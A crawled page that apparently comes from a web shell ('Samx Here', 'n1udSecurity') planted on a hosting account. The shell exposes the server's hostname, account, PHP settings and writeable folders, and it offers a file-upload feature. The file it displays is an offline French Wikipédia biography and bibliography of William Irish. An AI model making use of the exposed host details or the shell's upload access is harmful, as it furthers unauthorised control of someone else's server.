Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/w/i/l/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/w/i/l/William_Irish_dfee.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>William Irish - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">William Irish</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <p><b>William Irish</b> est le pseudonyme de <b>Cornell Woolrich</b>, écrivain <a href="../../../../articles/%C3%A9/t/a/%C3%89tats-Unis_08e2.html" title="États-Unis">américain</a> né le <a href="../../../../articles/4/_/d/4_d%C3%A9cembre.html" title="4 décembre">4 décembre</a> <a href="../../../../articles/1/9/0/1903.html" title="1903">1903</a> à <a href="../../../../articles/n/e/w/New_York_3da4.html" title="New York">New York</a>, où il meurt le <a href="../../../../articles/2/5/_/25_septembre.html" title="25 septembre">25 septembre</a> <a href="../../../../articles/1/9/6/1968.html" title="1968">1968</a>.</p>
<p>Né dans un milieu aisé, il suit son père, ingénieur des travaux publics, au <a href="../../../../articles/m/e/x/Mexique.html" title="Mexique">Mexique</a>, à <a href="../../../../articles/c/u/b/Cuba.html" title="Cuba">Cuba</a> et aux <a href="../../../../articles/b/a/h/Bahamas.html" title="Bahamas">Bahamas</a>. Après le divorce de ses parents, à l'âge de 15 ans, il rentre à New York à pour vivre auprès de sa mère, pianiste, et termine ses études en <a href="../../../../articles/1/9/2/1925.html" title="1925">1925</a> à l'<a href="../../../../articles/u/n/i/Universit%C3%A9_Columbia_e720.html" title="Université Columbia">université de Columbia</a>. Il écrit son premier roman, <i>Chef d'accusation</i> en <a href="../../../../articles/1/9/3/1935.html" title="1935">1935</a>, influencé par l'œuvre de <a href="../../../../articles/f/r/a/Francis_Scott_Fitzgerald_a563.html" title="Francis Scott Fitzgerald">Francis Scott Fitzgerald</a>. Il est engagé comme scénariste à <a href="../../../../articles/h/o/l/Hollywood.html" title="Hollywood">Hollywood</a> pour travailler sur l'adaptation de <i>Les enfants du Ritz</i>, paru en <a href="../../../../articles/1/9/2/1927.html" title="1927">1927</a>. Il se marie en <a href="../../../../articles/1/9/3/1930.html" title="1930">1930</a> avec Violet Virginia Blackton (1910-1965), fille du producteur de film muet. J. Stuart Blackton., mais cette union est un échec et il divorce au bout de trois mois. Il retourne alors vivre chez sa mère avec qui il vivra jusqu'à sa mort, dans le même appartement d'Harlem. Jusqu'en <a href="../../../../articles/1/9/4/1940.html" title="1940">1940</a>, les éditeurs refusent de publier ses livres, il publie dans des <i><a href="../../../../articles/p/u/l/Pulp_%28magazine%29.html" title="Pulp (magazine)">pulps</a></i> près de trois cent cinquante nouvelles sous trois noms différents&#160;: William Irish, Georges Hopley et son vrai nom . Il connaît le succès à partir de <a href="../../../../articles/1/9/4/1940.html" title="1940">1940</a>, avec <i>La mariée était en noir</i>. En <a href="../../../../articles/1/9/5/1954.html" title="1954">1954</a>, il reçoit le <a href="../../../../articles/g/r/a/Grand_prix_de_litt%C3%A9rature_polici%C3%A8re.html" title="Grand prix de littérature policière">Grand prix de littérature policière</a> en <a href="../../../../articles/f/r/a/France.html" title="France">France</a> pour <i>Un pied dans la tombe</i>. Sa mère meurt en 1957, il s'isole de plus en plus, sombre dans l'alcoolisme. Il est amputé d'une jambe atteinte de gangrène. Il meurt d'une attaque en <a href="../../../../articles/1/9/6/1968.html" title="1968">1968</a>.</p>
<p>De nombreux metteurs en scène ont porté les œuvres à l'écran de ce maître du suspense, notamment <a href="../../../../articles/a/l/f/Alfred_Hitchcock_0cee.html" title="Alfred Hitchcock">Alfred Hitchcock</a> pour <i>Fenêtre sur cour</i>, d'après une nouvelle, et <a href="../../../../articles/f/r/a/Fran%C3%A7ois_Truffaut_d4f6.html" title="François Truffaut">François Truffaut</a> pour <i>La sirène du Mississippi</i> et <i>La mariée était en noir</i>. William Irish a également écrit des récits fantastiques. Les œuvres de William Irish sont parues en France dans la collection Série blême de <a href="../../../../articles/g/a/l/Gallimard.html" title="Gallimard">Gallimard</a>, et ont également été éditées par La Découverte et Rivages.</p>
<p><a name="Bibliographie" id="Bibliographie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/w/i/l/William_Irish_dfee.html" title="Modifier la section&#160;: Bibliographie">modifier</a>]</span> <span class="mw-headline">Bibliographie</span></h2>
<p><a name="Romans" id="Romans"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/w/i/l/William_Irish_dfee.html" title="Modifier la section&#160;: Romans">modifier</a>]</span> <span class="mw-headline">Romans</span></h3>
<ul>
<li><i>Manhattan love song</i> (<a href="../../../../articles/1/9/3/1932.html" title="1932">1932</a>)</li>
<li><i>La Mariée était en noir</i> (<a href="../../../../articles/1/9/4/1940.html" title="1940">1940</a>), adapté au cinéma par <a href="../../../../articles/f/r/a/Fran%C3%A7ois_Truffaut_d4f6.html" title="François Truffaut">François Truffaut</a>&#160;: voir <a href="../../../../articles/l/a/_/La_mari%C3%A9e_%C3%A9tait_en_noir_%28film%29.html" title="La mariée était en noir (film)">le film</a></li>
<li><i>Valse dans les ténèbres</i> adapté sous le titre <i><a href="../../../../articles/l/a/_/La_Sir%C3%A8ne_du_Mississippi_%28roman%29_01b2.html" title="La Sirène du Mississippi (roman)">La sirène du Mississippi</a></i> (<a href="../../../../articles/1/9/4/1947.html" title="1947">1947</a>) au cinéma par François Truffaut&#160;: voir <a href="../../../../articles/l/a/_/La_Sir%C3%A8ne_du_Mississippi_%28film%29_885d.html" title="La Sirène du Mississippi (film)">le film</a></li>
<li><i><a href="../../../../articles/j/27/a/J%27ai_%C3%A9pous%C3%A9_une_ombre.html" title="J'ai épousé une ombre">J'ai épousé une ombre</a></i> (<a href="../../../../articles/1/9/4/1948.html" title="1948">1948</a>)</li>
<li><i>J'ai vu rouge</i> (<a href="../../../../articles/1/9/5/1950.html" title="1950">1950</a>)</li>
<li><i>Le Diamant orphelin</i></li>
<li><i>L'Heure blafarde</i></li>
<li><i>Rendez-vous en noir</i></li>
<li><i>Lady Fantôme</i></li>
<li><i>Les Yeux de la nuit</i></li>
<li><i>Alibi noir</i></li>
<li><i>Du crépuscule à l'aube</i></li>
<li><i>Une iincoryable histoire</i></li>
</ul>
<p><a name="Recueils_de_nouvelles" id="Recueils_de_nouvelles"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/w/i/l/William_Irish_dfee.html" title="Modifier la section&#160;: Recueils de nouvelles">modifier</a>]</span> <span class="mw-headline">Recueils de nouvelles</span></h3>
<ul>
<li><i>La Rançon du Hasard</i></li>
<li><i>Invitation à la valse</i></li>
<li><i>Fiez-vous à la balistique</i></li>
<li><i>Un livre d'aventures</i></li>
<li><i>L'homme au pic à glace</i></li>
<li><i>Un meurtrier bien distrait</i></li>
<li><i>Vous avez dit sans mouvement&#160;?</i></li>
</ul>
<ul>
<li><i><a href="../../../../articles/f/e/n/Fen%C3%AAtre_sur_cour.html" title="Fenêtre sur cour">Fenêtre sur cour</a></i> (<i>It Had to Be Murder</i> - 1942) et <i>autres histoires</i></li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/v/i/c/Image%7EVictorHugosmallColor.png_39be.html" class="image" title="Icône du portail de la littérature"><img alt="Icône du portail de la littérature" src="../../../../images/shared/thumb/a/ac/VictorHugosmallColor.png/24px-VictorHugosmallColor.png" width="24" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/l/i/t/Portail%7ELitt%C3%A9rature_0dea.html" title="Portail:Littérature">Portail de la littérature</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/r/e/v/Image%7ERevolver_edit.png_1b83.html" class="image" title="Icône du portail du Polar"><img alt="Icône du portail du Polar" src="../../../../images/shared/thumb/6/6f/Revolver_edit.png/40px-Revolver_edit.png" width="40" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/p/o/l/Portail%7EPolar_61cd.html" title="Portail:Polar">Portail du Polar</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 132/1000000
Post-expand include size: 2136/2048000 bytes
Template argument size: 218/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/%C3%A9/c/r/Cat%C3%A9gorie%7E%C3%89crivain_am%C3%A9ricain_61aa.html" title="Catégorie:Écrivain américain">Écrivain américain</a></span> | <span dir='ltr'><a href="../../../../articles/a/u/t/Cat%C3%A9gorie%7EAuteur_de_roman_policier_84fd.html" title="Catégorie:Auteur de roman policier">Auteur de roman policier</a></span> | <span dir='ltr'><a href="../../../../articles/n/a/i/Cat%C3%A9gorie%7ENaissance_en_1903_1061.html" title="Catégorie:Naissance en 1903">Naissance en 1903</a></span> | <span dir='ltr'><a href="../../../../articles/d/%C3%A9/c/Cat%C3%A9gorie%7ED%C3%A9c%C3%A8s_en_1968_2649.html" title="Catégorie:Décès en 1968">Décès en 1968</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/w/i/l/William_Irish_dfee.html">Article</a></li><li id="ca-talk"
	       class="new"	       ><a href="../../../../articles/w/i/l/Discuter%7EWilliam_Irish_ed16.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/William_Irish">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../de/articles/c/o/r/Cornell_Woolrich_2639.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/c/o/r/Cornell_Woolrich_2639.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../es/articles/c/o/r/Cornell_Woolrich_2639.html">Español</a>
	      </li>
	      	      <li>
	      <a href="../../../../../fi/articles/c/o/r/Cornell_Woolrich_2639.html">Suomi</a>
	      </li>
	      	      <li>
	      <a href="../../../../../it/articles/c/o/r/Cornell_Woolrich_2639.html">Italiano</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ja/articles/%E3%82%A6/%E3%82%A3/%E3%83%AA/%E3%82%A6%E3%82%A3%E3%83%AA%E3%82%A2%E3%83%A0%E3%83%BB%E3%82%A2%E3%82%A4%E3%83%AA%E3%83%83%E3%82%B7%E3%83%A5.html">日本語</a>
	      </li>
	      	      <li>
	      <a href="../../../../../sv/articles/c/o/r/Cornell_Woolrich_2639.html">Svenska</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 10 juin 2008 à 03:35 par Utilisateur(s) non enregistré(s) de Wikipédia. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/a/l/e/Utilisateur%7EAlecs.bot_6f7d.html" title="Utilisateur:Alecs.bot">Alecs.bot</a>, <a href="../../../../articles/s/u/r/Utilisateur%7ESurr%C3%A9alatino_1d63.html" title="Utilisateur:Surréalatino">Surréalatino</a>, <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>, <a href="../../../../articles/l/a/m/Utilisateur%7ELaMerguez_8f13.html" title="Utilisateur:LaMerguez">LaMerguez</a>, <a href="../../../../articles/v/a/n/Utilisateur%7EVan_Rijn_7959.html" title="Utilisateur:Van Rijn">Van Rijn</a>, <a href="../../../../articles/p/f/i/Utilisateur%7EPfinge_7aed.html" title="Utilisateur:Pfinge">Pfinge</a>, <a href="../../../../articles/c/o/y/Utilisateur%7ECoyau_5b48.html" title="Utilisateur:Coyau">Coyau</a>, <a href="../../../../articles/m/a/t/Utilisateur%7EMatpib_dce8.html" title="Utilisateur:Matpib">Matpib</a>, <a href="../../../../articles/e/r/a/Utilisateur%7EErabot_61a5.html" title="Utilisateur:Erabot">Erabot</a>, <a href="../../../../articles/i/s/r/Utilisateur%7EIsrafel_40c4.html" title="Utilisateur:Israfel">Israfel</a>, <a href="../../../../articles/c/h/i/Utilisateur%7EChicobot_8e22.html" title="Utilisateur:Chicobot">Chicobot</a>, <a href="../../../../articles/r/u/n/Utilisateur%7ERune_Obash_b60c.html" title="Utilisateur:Rune Obash">Rune Obash</a>, <a href="../../../../articles/g/u/e/Utilisateur%7EGuess_emma_a2c5.html" title="Utilisateur:Guess emma">Guess emma</a>, <a href="../../../../articles/g/u/e/Utilisateur%7EGuess_Emma_bab5.html" title="Utilisateur:Guess Emma">Guess Emma</a>, <a href="../../../../articles/p/d/p/Utilisateur%7EPdP_5fb5.html" title="Utilisateur:PdP">PdP</a>, <a href="../../../../articles/f/l/a/Utilisateur%7EFlaBot_bc06.html" title="Utilisateur:FlaBot">FlaBot</a>, <a href="../../../../articles/b/o/b/Utilisateur%7EBob08_5a46.html" title="Utilisateur:Bob08">Bob08</a>, <a href="../../../../articles/e/l/_/Utilisateur%7EEl_Kind_d7a9.html" title="Utilisateur:El Kind">El Kind</a>, <a href="../../../../articles/k/o/y/Utilisateur%7EKoyuki_0284.html" title="Utilisateur:Koyuki">Koyuki</a>, <a href="../../../../articles/r/o/b/Utilisateur%7ERobotQuistnix_d78e.html" title="Utilisateur:RobotQuistnix">RobotQuistnix</a>, <a href="../../../../articles/k/h/a/Utilisateur%7EKhardan_dce4.html" title="Utilisateur:Khardan">Khardan</a>, <a href="../../../../articles/s/a/m/Utilisateur%7ESam_Hocevar_d973.html" title="Utilisateur:Sam Hocevar">Sam Hocevar</a>, <a href="../../../../articles/m/e/d/Utilisateur%7EMedBot_8f10.html" title="Utilisateur:MedBot">MedBot</a>, <a href="../../../../articles/z/e/r/Utilisateur%7EZeroJanvier_07c8.html" title="Utilisateur:ZeroJanvier">ZeroJanvier</a>, <a href="../../../../articles/o/r/t/Utilisateur%7EOrthogaffe_792d.html" title="Utilisateur:Orthogaffe">Orthogaffe</a>, <a href="../../../../articles/n/e/z/Utilisateur%7ENezumi_9829.html" title="Utilisateur:Nezumi">Nezumi</a> et <a href="../../../../articles/f/o/r/Utilisateur%7EForlane_35bb.html" title="Utilisateur:Forlane">Forlane</a>.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX